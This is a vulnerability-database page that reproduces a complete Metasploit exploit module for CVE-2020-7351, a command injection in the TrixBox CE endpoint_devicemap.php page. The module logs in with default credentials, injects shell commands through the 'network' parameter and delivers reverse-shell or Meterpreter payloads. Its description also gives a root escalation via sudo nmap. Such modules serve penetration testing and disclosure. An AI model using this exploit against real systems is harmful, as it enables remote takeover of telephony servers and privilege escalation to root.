TrixBox CE endpoint_devicemap.php Authenticated Command Execution
🗓️ 28 Apr 2020 00:00:00Reported by Anastasios Stasinopoulos ( <Anastasios Stasinopoulos (@ancst)>Type
metasploit🔗 www.rapid7.com👁 114 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| TrixBox CE 2.8.0.4 Command Execution Exploit | 7 May 202000:00 | – | zdt | |
| CVE-2020-7351 | 28 Apr 202014:27 | – | attackerkb | |
| CVE-2020-7351 | 4 May 202021:23 | – | circl | |
| NetFortris Fonality Trixbox endpoint_devicemap.php Component OS Command Injection Vulnerability | 6 May 202000:00 | – | cnvd | |
| CVE-2020-7351 | 1 May 202015:50 | – | cve | |
| CVE-2020-7351 Fonality Trixbox CE Post-Authentication Command Injection | 1 May 202015:50 | – | cvelist | |
| CVE-2020-7351 | 1 May 202016:15 | – | nvd | |
| CVE-2020-7351 | 1 May 202016:15 | – | osv | |
| TrixBox CE 2.8.0.4 Command Execution | 5 May 202000:00 | – | packetstorm | |
| Command injection | 1 May 202016:15 | – | prion |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'TrixBox CE endpoint_devicemap.php Authenticated Command Execution',
'Description' => %q{
This module exploits an authenticated OS command injection
vulnerability found in Trixbox CE version 1.2.0 to 2.8.0.4
inclusive in the "network" POST parameter of the
"/maint/modules/endpointcfg/endpoint_devicemap.php" page.
Successful exploitation allows for arbitrary command execution
on the underlying operating system as the "asterisk" user.
Users can easily elevate their privileges to the "root" user
however by executing "sudo nmap --interactive" followed by "!sh"
from within nmap.
},
'Author' => [
# Obrela Labs Team - Discovery and Metasploit module
'Anastasios Stasinopoulos (@ancst)'
],
'References' => [
['CVE', '2020-7351'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/13353'] # First ref is this module
],
'License' => MSF_LICENSE,
'Payload' => { 'BadChars' => "\x00" },
'DisclosureDate' => '2020-04-28',
'Targets' => [
[
'Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },
'Type' => :linux_dropper
}
],
[
'Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
'Type' => :unix_memory
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('HttpUsername', [ true, 'User to login with', 'maint']),
OptString.new('HttpPassword', [ true, 'Password to login with', 'password']),
]
)
end
def user
datastore['HttpUsername']
end
def pass
datastore['HttpPassword']
end
def get_target(res)
version = res.body.scan(/v(\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
version = res.body.scan(/Version: (\d.\d.{0,1}\d{0,1}.{0,1}\d{0,1})/).flatten.first
if version.nil?
print_error("#{peer} - Unable to grab version of Trixbox CE installed on target!")
return nil
end
end
print_good("#{peer} - Trixbox CE v#{version} identified.")
if Rex::Version.new(version).between?(Rex::Version.new('2.6.0.0'), Rex::Version.new('2.8.0.4'))
@uri = normalize_uri(target_uri.path, '/maint/modules/endpointcfg/endpoint_devicemap.php')
elsif Rex::Version.new(version).between?(Rex::Version.new('2.0.0.0'), Rex::Version.new('2.4.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/modules/11_endpointcfg/endpoint_devicemap.php')
elsif Rex::Version.new(version).between?(Rex::Version.new('1.2.0.0'), Rex::Version.new('1.9.9.9'))
@uri = normalize_uri(target_uri.path, '/maint/endpoint_devicemap.php')
else
return nil
end
return version
end
def login(user, pass, _opts = {})
uri = normalize_uri(target_uri.path, '/maint/')
print_status("#{peer} - Authenticating using \"#{user}:#{pass}\" credentials...")
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user, pass)
})
unless res
# We return nil here, as callers should handle this case
# specifically with their own unique error message.
return nil
end
if res.code == 200
print_good("#{peer} - Authenticated successfully.")
elsif res.code == 401
print_error("#{peer} - Authentication failed.")
else
print_error("#{peer} - The host responded with an unexpected status code: #{res.code}.")
end
return res
rescue ::Rex::ConnectionError
print_error('Caught a Rex::ConnectionError in login() method. Connection failed.')
return nil
end
def execute_command(cmd, _opts = {})
send_request_cgi({
'uri' => @uri,
'method' => 'POST',
'authorization' => basic_auth(user, pass),
'vars_post' => {
'network' => ";$(#{cmd})"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, 'Connection failed.')
end
def check
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")
return CheckCode::Detected('The target service was detected')
end
if res.code == 200
version = get_target(res)
if version.nil?
# We don't print out an error message here as returning this will
# automatically cause Metasploit to print out an appropriate error message.
return CheckCode::Safe('The target is not vulnerable')
end
delay = rand(7...10)
cmd = "sleep #{delay}"
print_status("#{peer} - Verifying remote code execution by attempting to execute '#{cmd}'.")
t1 = Time.now.to_i
res = execute_command(cmd)
t2 = Time.now.to_i
unless res
print_error("#{peer} - Connection failed whilst trying to perform the command injection.")
return CheckCode::Detected("Detected version #{version}")
end
diff = t2 - t1
if diff >= delay
print_good("#{peer} - Response received after #{diff} seconds.")
return CheckCode::Vulnerable("Detected vulnerable version #{version}")
else
print_error("#{peer} - Response wasn't received within the expected period of time.")
return CheckCode::Safe("Version #{version} is not vulnerable")
end
end
rescue ::Rex::ConnectionError
print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")
return CheckCode::Unknown('Could not determine the target status')
end
def exploit
res = login(user, pass)
unless res
print_error("No response was received from #{peer} whilst in exploit(), check it is online and the target port is open!")
end
if res.code == 200
version = get_target(res)
if version.nil?
print_error("#{peer} - The target is not vulnerable.")
return false
end
print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")
case target['Type']
when :unix_memory
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 130_000)
end
end
rescue ::Rex::ConnectionError
print_error('Rex::ConnectionError caught in check(), could not connect to the target.')
return false
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Apr 2020 00:00Current
8.2High risk
Vulners AI Score8.2
CVSS 3.17.3 - 8.8
CVSS 29
EPSS0.65208